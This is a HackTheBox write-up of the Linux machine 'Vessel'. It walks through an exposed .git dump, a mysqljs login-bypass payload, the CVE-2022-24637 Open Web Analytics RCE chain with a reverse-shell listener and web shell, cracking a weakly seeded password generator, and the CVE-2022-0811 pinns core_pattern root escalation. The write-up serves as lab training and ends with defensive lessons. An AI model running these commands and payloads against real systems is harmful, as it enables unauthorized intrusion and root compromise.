HTB: Vessel Writeup
Vessel - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Vessel |
| OS | Linux |
| Difficulty | Hard |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.227.225 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Vessel is a hard-rated Linux box built around a realistic supply-chain-style bug: a leaked .git repository reveals that the front-end web application was built on a vulnerable version of the mysqljs npm package, which allows an authentication bypass via object injection in the login form. That admin session exposes an internal openwebanalytics.vessel.htb vhost running Open Web Analytics 1.7.3, vulnerable to CVE-2022-24637 — a predictable-cache-key password reset chained with a mass-assignment configuration injection that writes attacker-controlled PHP into a log file for RCE as www-data. From there, a Windows-only password generator binary found in a user’s home directory is reverse engineered to reveal a Qt qsrand()/qrand() seed space of only 1000 possible values, letting the password on an encrypted PDF be brute-forced offline to recover SSH credentials. Root is obtained through CVE-2022-0811 (cr8escape), abusing a SUID pinns binary from the CRI-O container runtime to inject a malicious kernel.core_pattern sysctl and trigger root code execution via a crashing process.
TL;DR: Exposed .git → mysqljs object-injection auth bypass → admin panel reveals openwebanalytics.vessel.htb → CVE-2022-24637 (OWA 1.7.3 cache-key password reset + mass-assignment log-file RCE) → www-data → reverse-engineered Qt password generator (seed space 0–999) brute-forces PDF password → ethan SSH creds → CVE-2022-0811 pinns/CRI-O core_pattern sysctl abuse → root.
Reconnaissance
Port Scanning
# full TCP port sweep first, then targeted service/version scanports=$(nmap -p- --min-rate=2000 -T4 10.129.227.225 | grep '^[0-9]' | cut -d'/' -f1 | tr '\n' ',' | sed 's/,$//')nmap -sC -sV -p$ports 10.129.227.225Results: only two ports open — 22/tcp (OpenSSH) and 80/tcp (Apache). Notably, reverse DNS on the box already resolves to vessel.htb, confirming the vhost name before any hosts-file edits were needed.
echo "10.129.227.225 vessel.htb openwebanalytics.vessel.htb" | sudo tee -a /etc/hostsService Enumeration
Port 80 serves a front-end web application. Enumerating the site’s directory structure turned up a /dev/ path where the application’s git metadata was left publicly reachable:
curl -s -o /dev/null -w '%{http_code}\n' http://vessel.htb/dev/.git/HEADcurl -s http://vessel.htb/dev/.git/HEAD/dev/.git/HEAD returned 200 with a valid git ref — the entire repository history was exposed on the live web server.
Vulnerability Assessment
- Exposed
.gitdirectory under/dev/on the production vhost — full source and commit history retrievable. - Git history contains a “security fix” commit bumping the
mysqljsdependency, implying the prior version shipped with an exploitable auth-bypass bug. - (Discovered later)
openwebanalytics.vessel.htbrunning Open Web Analytics 1.7.3, vulnerable to CVE-2022-24637. - (Discovered later) A SUID
pinnsbinary tied to the CRI-O container runtime, vulnerable to CVE-2022-0811 (cr8escape).
Initial Foothold
Step 1 — Dumping the exposed .git repository
# git-dumper reconstructs a full working tree from an exposed .git directorygit-dumper http://vessel.htb/dev/ /tmp/sourcecd /tmp/source && git log --oneline -20The log showed a small, recent commit history. Diffing the two most recent commits pinpointed the “security fix”:
git diff f1369cf edb18f3# =====SECOND=====git diff edb18f3 208167eThe diff touched exactly one line: a version bump for the mysqljs dependency in package.json.
cat package.json | grep -A2 -i mysqlStep 2 — mysqljs object-injection authentication bypass
Older mysqljs builds naively interpolate query parameters without enforcing that they are strings. When the password field of a login POST is submitted as an object rather than a string (password[password]=1), the library’s query-building logic ends up comparing the password column against a truthy expression instead of the literal user-supplied value — collapsing the WHERE username=? AND password=? check and authenticating without knowing the real password.
curl -s -i -c /tmp/cookies.txt -X POST http://vessel.htb/api/login \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'username=admin&password[password]=1'This returned a valid session cookie. Reusing it against the admin panel confirmed the bypass and surfaced a second vhost:
curl -s -b /tmp/cookies.txt http://vessel.htb/admin | grep -i -E 'analytics|href|openweb'The admin dashboard links to an Analytics panel pointing at openwebanalytics.vessel.htb — an internal Open Web Analytics install not otherwise discoverable from the outside.
Step 3 — Fingerprinting Open Web Analytics
curl -s -L 'http://openwebanalytics.vessel.htb/index.php?owa_do=base.loginForm' | grep -i 'version=' | head -5The page’s asset tags exposed the running version directly: Open Web Analytics 1.7.3, vulnerable to CVE-2022-24637.
Step 4 — CVE-2022-24637: cache-key password reset + mass-assignment RCE
CVE-2022-24637 chains two bugs in OWA 1.7.3:
- Predictable password-reset cache key. When a login attempt fails, OWA creates a debug cache file under
owa-data/caches/whose filename (hkey) is an MD5 hash derived from a per-userkey/counter value. Because these cache files are served statically and the counter increments predictably per user, an attacker who knows only a victim’s username can trigger a failed login, fetch the resulting cache file over HTTP, and recover the base64-encodedtemp_passkeyused to authorize a password reset — without ever knowing the original password. - Mass-assignment configuration injection. OWA’s settings-update endpoint (
base.optionsUpdate) accepts arbitraryowa_config[...]keys beyond what the GUI exposes. An attacker can redirect the application’s own error-log file path to a.phpfile inside the web root and seterror_log_level=2so that every POST parameter — including one containing a<?php exec(...) ?>payload — gets written verbatim into that now-executable log file, yielding RCE the next time the crafted URL is hit.
The box’s own author, 0xM4hm0ud, has a public PoC for this exact CVE, so it was used directly:
git clone https://github.com/0xM4hm0ud/CVE-2022-24637.gitcd CVE-2022-24637python3 CVE-2022-24637.py http://openwebanalytics.vessel.htb/ 'NewP@ssw0rd123!' 10.10.15.68 8882The automated PoC’s reverse-shell handling didn’t cleanly hold a session in this environment, so the chain was replayed manually against a listener, driving the RCE endpoint directly:
nc -lnvp 8882 > /tmp/shell_output.log &
# repeated command injection through the log-poisoned RCE endpoint,# using a named pipe to keep feeding commands into the same web-triggered shellmkfifo /tmp/shellpipe2exec 9>/tmp/shellpipe2curl -s http://openwebanalytics.vessel.htb/owa-data/logs/shell.php --max-time 3
echo 'id; whoami; hostname; ls -la /home' > /tmp/shellpipe2sleep 2; tail -30 /tmp/shell_output.logThis confirmed code execution as www-data, with /home listing revealing two local users: ethan and steven.
Privilege Escalation
www-data → ethan
/home/steven contained a Windows passwordGenerator executable and a password-protected notes.pdf. The binary is a PyInstaller-packaged Qt/PySide2 GUI tool used to generate the PDF’s password. Extracting and decompiling it showed the password routine seeding its RNG like this:
qsrand(QTime.currentTime().msec())password = ''for i in range(length): idx = qrand() % len(charset) password += charset[idx]QTime::currentTime().msec() only ever returns a value in 0–999, so the entire keyspace for the “random” password collapses to 1000 possible seeds. Because the executable was compiled for Windows, its qrand() calls delegate straight through to MSVCRT’s rand() — a simple, deterministic LCG — so the exact same sequence can be reproduced offline on any Windows Qt runtime by iterating all 1000 seeds and attempting to open the PDF with each generated 32-character candidate password.
Running that brute force locally recovered the correct seed (350), decrypted notes.pdf, and revealed ethan’s password inside.
ssh ethan@10.129.227.225# user.txt capturedethan → root (CVE-2022-0811 — cr8escape)
Enumeration on the box turned up a SUID binary, pinns, belonging to the CRI-O container runtime. pinns is meant to be invoked by crio/crictl to set up Linux namespaces and sysctls for a container’s pause process — but as a standalone SUID binary it can be invoked directly by any local user to apply arbitrary sysctls to the host, including kernel.core_pattern.
Setting kernel.core_pattern to a pipe (|/path/to/script) tells the kernel to execute that script as a core-dump handler, running with the kernel’s own privileges, whenever a monitored process crashes:
echo -e '#!/bin/bash\ncp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash' > /tmp/exp.shchmod +x /tmp/exp.sh
# abuse SUID pinns (CRI-O) to set kernel.core_pattern from an unprivileged namespacepinns -U -d /tmp/ -f a -s 'kernel.shm_rmid_forced=1+kernel.core_pattern=|/tmp/exp.sh #'
sleep 10 &killall -s SIGSEGV sleep # crash the monitored process to fire core_pattern as rootThe crashing sleep process triggers the kernel’s core-dump path, which executes /tmp/exp.sh as root, dropping a root-owned SUID bash:
/tmp/rootbash -pid# uid=0(root) euid=0(root) ...cat /root/root.txtConfirmed euid=0, and root.txt captured.
Attack Chain Summary
Exposed /dev/.git/HEAD on vessel.htb → git-dumper reveals vulnerable mysqljs dependency → mysqljs object-injection auth bypass (password[password]=1) → admin session on vessel.htb → discovers openwebanalytics.vessel.htb → OWA 1.7.3 fingerprinted (CVE-2022-24637) → predictable cache-key leaks temp_passkey → admin password reset → mass-assignment config injection → PHP payload logged to shell.php → RCE as www-data → passwordGenerator.exe + notes.pdf pulled from /home/steven → decompiled: Qt qsrand(QTime::currentTime().msec()) → seed space 0-999 → offline brute force (seed 350) decrypts notes.pdf → recovers ethan's SSH credentials → user.txt → SUID pinns (CRI-O) found → CVE-2022-0811 (cr8escape) → malicious kernel.core_pattern via pinns -U → crash sleep process → root-owned SUID bash → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port and service scanning |
curl | Manual HTTP requests: git-dump probing, login bypass, admin panel, OWA cache-file retrieval, RCE trigger |
git-dumper | Reconstructing the exposed .git repository from vessel.htb/dev/ |
git log / git diff | Identifying the mysqljs security-fix commit |
CVE-2022-24637.py (0xM4hm0ud) | Reference PoC for the OWA 1.7.3 password-reset + mass-assignment RCE chain |
nc + named pipe (mkfifo) | Interactive command relay through the log-poisoned PHP web shell |
PyInstaller extractor + uncompyle6 | Recovering Python source from the compiled passwordGenerator.exe |
Qt/PySide2 (qsrand/qrand) brute-force script | Offline recovery of notes.pdf’s password over the 1000-value seed space |
pikepdf | Verifying the cracked password against the encrypted PDF |
ssh | Access as ethan |
pinns (abused) | SUID CRI-O helper used to set malicious kernel.core_pattern/kernel.shm_rmid_forced for CVE-2022-0811 |
Key Learnings
Techniques Practiced
- Recovering source and history from an exposed
.gitdirectory on a live web server - Diffing git history to locate a silent “security fix” commit and infer the vulnerable dependency
- NPM library (
mysqljs) object-injection authentication bypass - Chaining a predictable cache-key leak into an unauthenticated password reset (CVE-2022-24637)
- Exploiting PHP mass-assignment to redirect a log file into the web root and inject executable PHP
- Extracting and decompiling a PyInstaller/PySide2 Windows binary to recover its source logic
- Identifying weak RNG seeding (
QTime::currentTime().msec(), Qt→MSVCRTrand()) and brute-forcing the reduced keyspace offline - Abusing a SUID container-runtime helper (
pinns) to write host-level sysctls and hijackkernel.core_patternfor root code execution (CVE-2022-0811 / cr8escape)
Lessons Learned
- Never deploy
.gitmetadata to a production web root — it fully reconstructs source, history, and past “silent” security fixes for an attacker. - Dependency version bumps in git history are a strong signal: diffing them against public CVE databases can reveal exactly what bug was patched and how to exploit the pre-patch version.
- Debug/cache artifacts that are predictable and web-accessible (like OWA’s MD5 cache filenames) can leak secrets meant only for server-side use.
- Mass-assignment on configuration/update endpoints is a serious risk when the backend trusts client-supplied key names — always allow-list updatable fields explicitly.
- RNG seeded from coarse-grained time sources (millisecond clock ticks) collapses to a trivially brute-forceable keyspace; cryptographic randomness must come from a CSPRNG, not
qrand()/rand(). - Container-runtime helper binaries (like
pinns) should never carry the SUID bit outside their intended invocation context (crio/crictl) — doing so hands any local user a path to host-level sysctl control.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- Xclow3n & amra, Vessel — Official HackTheBox Writeup (Document No. D22.100.200), Machine Author: 0xM4hm0ud, released 24 August 2022.